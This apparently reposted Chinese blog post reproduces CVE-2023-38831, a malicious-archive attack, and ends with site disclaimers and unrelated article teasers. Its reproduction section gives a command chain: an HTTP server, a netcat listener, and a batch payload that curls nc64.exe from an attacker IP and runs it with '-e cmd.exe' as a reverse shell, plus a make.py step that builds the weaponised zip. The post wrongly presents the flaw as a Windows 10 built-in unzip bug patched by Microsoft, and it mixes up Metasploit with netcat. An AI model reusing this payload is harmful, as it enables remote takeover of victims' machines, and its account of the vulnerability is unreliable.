CVE-2023-38831 漏洞復現:win10 壓縮包掛馬攻擊剖析

目錄

前言

漏洞介紹

漏洞原理

產生條件

影響范圍

防御措施

復現步驟

環境準備

具體操作


前言

在網絡安全這片沒有硝煙的戰場上,新型漏洞如同隱匿的暗箭,時刻威脅著我們的數字生活。其中,CVE - 2023 - 38831 這個關聯 Win10 壓縮包掛馬攻擊的漏洞,自曝光以來便引發了安全界的高度關注。深入探究并復現這一漏洞,不僅能讓我們洞悉攻擊者的手段,更能助力我們筑牢防線,抵御此類威脅。

漏洞介紹

CVE - 2023 - 38831 是 2023 年披露的一個高危安全漏洞,主要影響 Windows 10 系統。攻擊者利用這一漏洞,精心炮制惡意壓縮包。當用戶在 Windows 10 系統上解壓這類特制壓縮包時,惡意代碼會在無需用戶額外操作的情況下自動執行。這就如同打開了潘多拉魔盒,攻擊者借此實現掛馬攻擊,全面控制用戶計算機,肆意竊取敏感信息,甚至進行更惡劣的破壞活動。

漏洞原理

該漏洞的根源在于 Windows 10 系統解壓程序的機制缺陷。當處理特定格式壓縮包時,解壓程序在解壓路徑和文件解析環節存在安全隱患。攻擊者巧妙利用這一漏洞,在解壓路徑中植入惡意代碼。一旦解壓程序按照錯誤路徑解析文件,惡意代碼便會順勢執行,將系統控制權拱手讓給攻擊者,進而為后續的惡意操作大開方便之門。

產生條件

  1. 操作系統環境:漏洞主要針對未安裝相關安全補丁的 Windows 10 系統。盡管不同版本的 Windows 10 受影響程度略有不同,但只要未修復此漏洞,就如同在網絡世界中裸奔,隨時面臨被攻擊的風險。
  2. 解壓操作:用戶解壓包含惡意代碼的特制壓縮包是觸發漏洞的關鍵。這類壓縮包經過攻擊者精心設計,充分利用系統解壓程序的漏洞,確保惡意代碼能在解壓瞬間被激活。
  3. 解壓軟件:無論是 Windows 10 系統自帶的解壓程序,還是存在相同漏洞的第三方解壓軟件,都可能成為攻擊者的突破口。例如一些常見的免費解壓軟件,若未及時更新修復漏洞,就極易淪為攻擊目標。

影響范圍

Windows 10 系統在全球范圍內廣泛應用,從個人用戶的日常辦公,到企業辦公環境的運轉,再到教育機構的教學場景,幾乎無處不在。這意味著只要使用未打補丁的 Windows 10 系統解壓惡意壓縮包,大量計算機都將暴露在風險之下,面臨被掛馬、數據泄露、系統被控制等嚴重威脅,可能導致個人隱私泄露、企業商業機密被盜取、教育資料丟失等一系列嚴重后果。

防御措施

  1. 及時更新系統補丁:微軟已針對 CVE - 2023 - 38831 漏洞發布安全補丁,用戶務必盡快安裝,可通過 Windows Update 自動更新功能,也可手動下載安裝,確保系統安全性。
  2. 謹慎解壓未知來源壓縮包:對于來源不明的壓縮包,尤其是從不可信網站、郵件或即時通訊工具接收的,切勿輕易解壓。解壓前,先使用可靠的殺毒軟件進行全面掃描,確認安全后再操作。
  3. 使用安全的解壓軟件:優先選擇知名、更新及時的解壓軟件,并定期更新軟件版本。避免使用來源不明或已被曝光存在安全漏洞的解壓軟件。同時,部分解壓軟件提供安全解壓模式,建議啟用,以降低風險。

復現步驟

環境準備

  1. 虛擬機:準備一臺安裝 Windows 10 系統的虛擬機,并確保未安裝 CVE - 2023 - 38831 漏洞補丁。可借助虛擬機軟件,如 VMware Workstation 或 VirtualBox 來創建。
  2. 攻擊機:選用一臺安裝 Kali Linux 系統的計算機作為攻擊機。Kali Linux 作為專業的網絡安全測試操作系統,集成了大量實用的漏洞利用工具。
  3. 漏洞利用工具:在 Kali Linux 中,借助 Metasploit 框架進行漏洞復現。Metasploit 是一款強大的開源安全漏洞檢測與利用工具,擁有豐富的漏洞利用模塊。

具體操作

unzip winrar漏洞攻擊腳本.zip     #解壓攻擊腳本
cd winrar漏洞攻擊腳本            #切換到攻擊腳本目錄下
python -m http.server           #生成一個代碼目錄
nc -lnvp 6666                   #開啟監聽端口
vim script.bat                  #進入攻擊腳本目錄編輯文件,設置ip地址和指定端口
curl http://10.0.0.103:8000/nc64.exe -O nc64.exe & nc64.exe 10.0.0.103 6666 -e cmd.exe -d & test.png
python make.py test.png script.bat bianlianghot.zip     #生成病毒壓縮包
  1. 啟動 Metasploit 框架:在 Kali Linux 系統終端中輸入 “msfconsole” 命令,啟動 Metasploit 框架。
  2. 上傳攻擊腳本并解壓:將攻擊腳本壓縮包進行上傳并解壓,并生成一個代碼目錄
  3. 此時在開啟一個shell設置監聽端口:設置本地監聽端口
  4. 進入攻擊腳本目錄編輯文件:進入攻擊目錄編輯文件設置ip地址和端口信息
  5. 生成病毒壓縮包:再打開一個終端生成病毒壓縮包
  6. 上傳壓縮包到目標靶機:將惡意的病毒壓縮包上傳到目標靶機
  7. 觸發漏洞:在 Windows 10 虛擬機中找到傳輸過來的惡意壓縮包,雙擊解壓。解壓過程中,攻擊機的 Metasploit 框架會監聽到來自虛擬機的連接請求,從而實現對 Windows 10 系統的遠程控制。此時,可在攻擊機上執行各種命令,如查看文件、竊取數據等,模擬攻擊者的操作流程。

通過以上復現步驟,我們能直觀感受到 CVE - 2023 - 38831 漏洞的巨大危害。在現實網絡環境中,我們必須時刻保持警惕,嚴格落實各項防御措施,切實保障系統安全。如果你對網絡安全領域感興趣,歡迎持續關注相關內容,一同探索更多網絡安全知識。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/67202.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/67202.shtml
英文地址,請注明出處:http://en.pswp.cn/web/67202.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

論文閱讀(二):理解概率圖模型的兩個要點:關于推理和學習的知識

1.論文鏈接:Essentials to Understand Probabilistic Graphical Models: A Tutorial about Inference and Learning 摘要: 本章的目的是為沒有概率圖形模型背景或沒有深入背景的科學家提供一個高級教程。對于更熟悉這些模型的讀者,本章將作為…

記錄 | 基于Docker Desktop的MaxKB安裝

目錄 前言一、MaxKBStep 1Step2 二、運行MaxKB更新時間 前言 參考文章:如何利用智譜全模態免費模型,生成大家都喜歡的圖、文、視并茂的文章! MaxKB的Github下載地址 參考視頻:【2025最新MaxKB教程】10分鐘學會一鍵部署本地私人專屬…

Go反射指南

概念: 官方對此有個非常簡明的介紹,兩句話耐人尋味: 反射提供一種讓程序檢查自身結構的能力反射是困惑的源泉 第1條,再精確點的描述是“反射是一種檢查interface變量的底層類型和值的機制”。 第2條,很有喜感的自嘲…

第26篇 基于ARM A9處理器用C語言實現中斷<二>

Q:基于ARM A9處理器怎樣編寫C語言工程,使用按鍵中斷將數字顯示在七段數碼管上呢? A:基本原理:主程序需要首先調用子程序set_A9_IRQ_stack()初始化IRQ模式的ARM A9堆棧指針;然后主程序調用子程序config_GIC…

基于GS(Gaussian Splatting)的機器人Sim2Real2Sim仿真平臺

項目地址:RoboGSim 背景簡介 已有的數據采集方法中,遙操作(下左)是數據質量高,但采集成本高、效率低下;傳統仿真流程成本低(下右),但真實度(如紋理、物理&…

「 機器人 」利用沖程對稱性調節實現仿生飛行器姿態與方向控制

前言 在仿生撲翼飛行器中,通過改變沖程對稱性這一技術手段,可以在上沖與下沖兩個階段引入不對稱性,進而產生額外的力或力矩,用于實現俯仰或其他姿態方向的控制。以下從原理、在仿生飛行器中的應用和典型實驗示例等方面進行梳理與闡述。 1. 沖程對稱性原理 1.1 概念:上沖與…

MongoDB部署模式

目錄 單節點模式(Standalone) 副本集模式(Replica Set) 分片集群模式(Sharded Cluster) MongoDB有多種部署模式,可以根據業務需求選擇適合的架構和部署方式。 單節點模式(Standa…

微服務搭建----springboot接入Nacos2.x

springboot接入Nacos2.x nacos之前用的版本是1.0的,現在重新搭建一個2.0版本的,學如逆水行舟,不進則退,廢話不多說,開搞 1、 nacos2.x搭建 1,首先第一步查詢下項目之間的版本對照,不然后期會…

react-native網絡調試工具Reactotron保姆級教程

在React Native開發過程中,調試和性能優化是至關重要的環節。今天,就來給大家分享一個非常強大的工具——Reactotron,它就像是一個貼心的助手,能幫助我們更輕松地追蹤問題、優化性能。下面就是一份保姆級教程哦! 一、…

npm啟動前端項目時報錯(vue) error:0308010C:digital envelope routines::unsupported

vue 啟動項目時,npm run serve 報下面的錯: error:0308010C:digital envelope routines::unsupported at new Hash (node:internal/crypto/hash:67:19) at Object.createHash (node:crypto:133:10) at FSReqCallback.readFileAfterClose [as on…

改進候鳥優化算法之三:引入自適應策略的候鳥優化算法(AS-MBO)

引入自適應策略的候鳥優化算法(Migrating Birds Optimization with Adaptive Strategy,簡稱AS-MBO)是對傳統候鳥優化算法(Migrating Birds Optimization,MBO)的一種改進。MBO算法本身是一種基于群體智能的元啟發式優化算法,其靈感來源于候鳥遷徙時的“V”字形飛行隊列,…

02-機器學習-核心概念

以下是機器學習核心概念的詳細梳理。 1. 機器學習三大范式 類型定義典型應用監督學習使用帶標簽的數據訓練模型,預測未知數據的標簽。分類(郵件垃圾過濾)、回歸(房價預測)無監督學習從無標簽的數據中發現隱藏模式或結…

Redis實戰(黑馬點評)——關于緩存(緩存更新策略、緩存穿透、緩存雪崩、緩存擊穿、Redis工具)

redis實現查詢緩存的業務邏輯 service層實現 Overridepublic Result queryById(Long id) {String key CACHE_SHOP_KEY id;// 現查詢redis內有沒有數據String shopJson (String) redisTemplate.opsForValue().get(key);if(StrUtil.isNotBlank(shopJson)){ // 如果redis的數…

算法-加油站問題

hello 大家好!今天開寫一個新章節,每一天一道算法題。讓我們一起來學習算法思維吧! function canCompleteCircuit(gas, cost) {// 加油站的總數const n gas.length;// 記錄總剩余油量,若總剩余油量小于 0,說明無法繞環…

訊飛繪鏡(ai生成視頻)技術淺析(二):大模型

1.訊飛星火大模型的基礎架構 2.自然語言處理(NLP)技術的具體實現 3.腳本生成的具體過程與模型公式 4.分鏡生成的具體過程與模型公式 5.視頻生成與編輯的技術細節 6.關鍵技術公式的詳細推導與解釋 一、訊飛星火大模型的基礎架構 訊飛星火大模型是基于Transformer架構的深…

【機器學習】深入探索SVM:支持向量機的原理與應用

目錄 🍔 SVM引入 1.1什么是SVM? 1.2支持向量機分類 1.3 線性可分、線性和非線性的區分 🍔 小結 學習目標 知道SVM的概念 🍔 SVM引入 1.1什么是SVM? 看一個故事,故事是這樣子的: 在很久以前的情人節&#xf…

pycharm 運行遠程環境問題 Error:Failed to prepare environment.

問題排查 拿到更詳細的報錯信息: Help > Diagnostic Tools > Debug Log Settings section: 添加下面的配置 com.intellij.execution.configurations.GeneralCommandLine 重顯報錯,我這里是再次運行代碼打開 Help | Collect Logs and Diagnosti…

一組開源、免費、Metro風格的 WPF UI 控件庫

前言 今天大姚給大家分享一個開源、免費、Metro風格的 WPF UI 控件庫:MahApps.Metro。 項目介紹 MahApps.Metro 是一個開源、免費、Metro風格的 WPF UI 控件庫,提供了現代化、平滑和美觀的控件和樣式,幫助開發人員輕松創建具有現代感的 Win…

讀寫和解析簡單的 nc 文件

NetCDF 文件格式在氣象數據工程領域占據著舉足輕重的地位,其結構靈活、強兼容性等優勢使其成為該領域的一個標準。無論是從事學術研究還是工程實踐,掌握這種數據格式變得越發重要。其次,我注意到目前社區中氣象編程大多數課程都聚焦于某個特定…

Mac m1,m2,m3芯片使用nvm安裝node14報錯

使用nvm安裝了node 12/16/18都沒有問題,到14就報錯了。第一次看到這個報錯有點懵,查詢資料發現是Mac芯片的問題。 Issue上提供了兩個方案: 1、為了在arm64的Mac上安裝node 14,需要使用Rosseta,可以通過以下命令安裝 …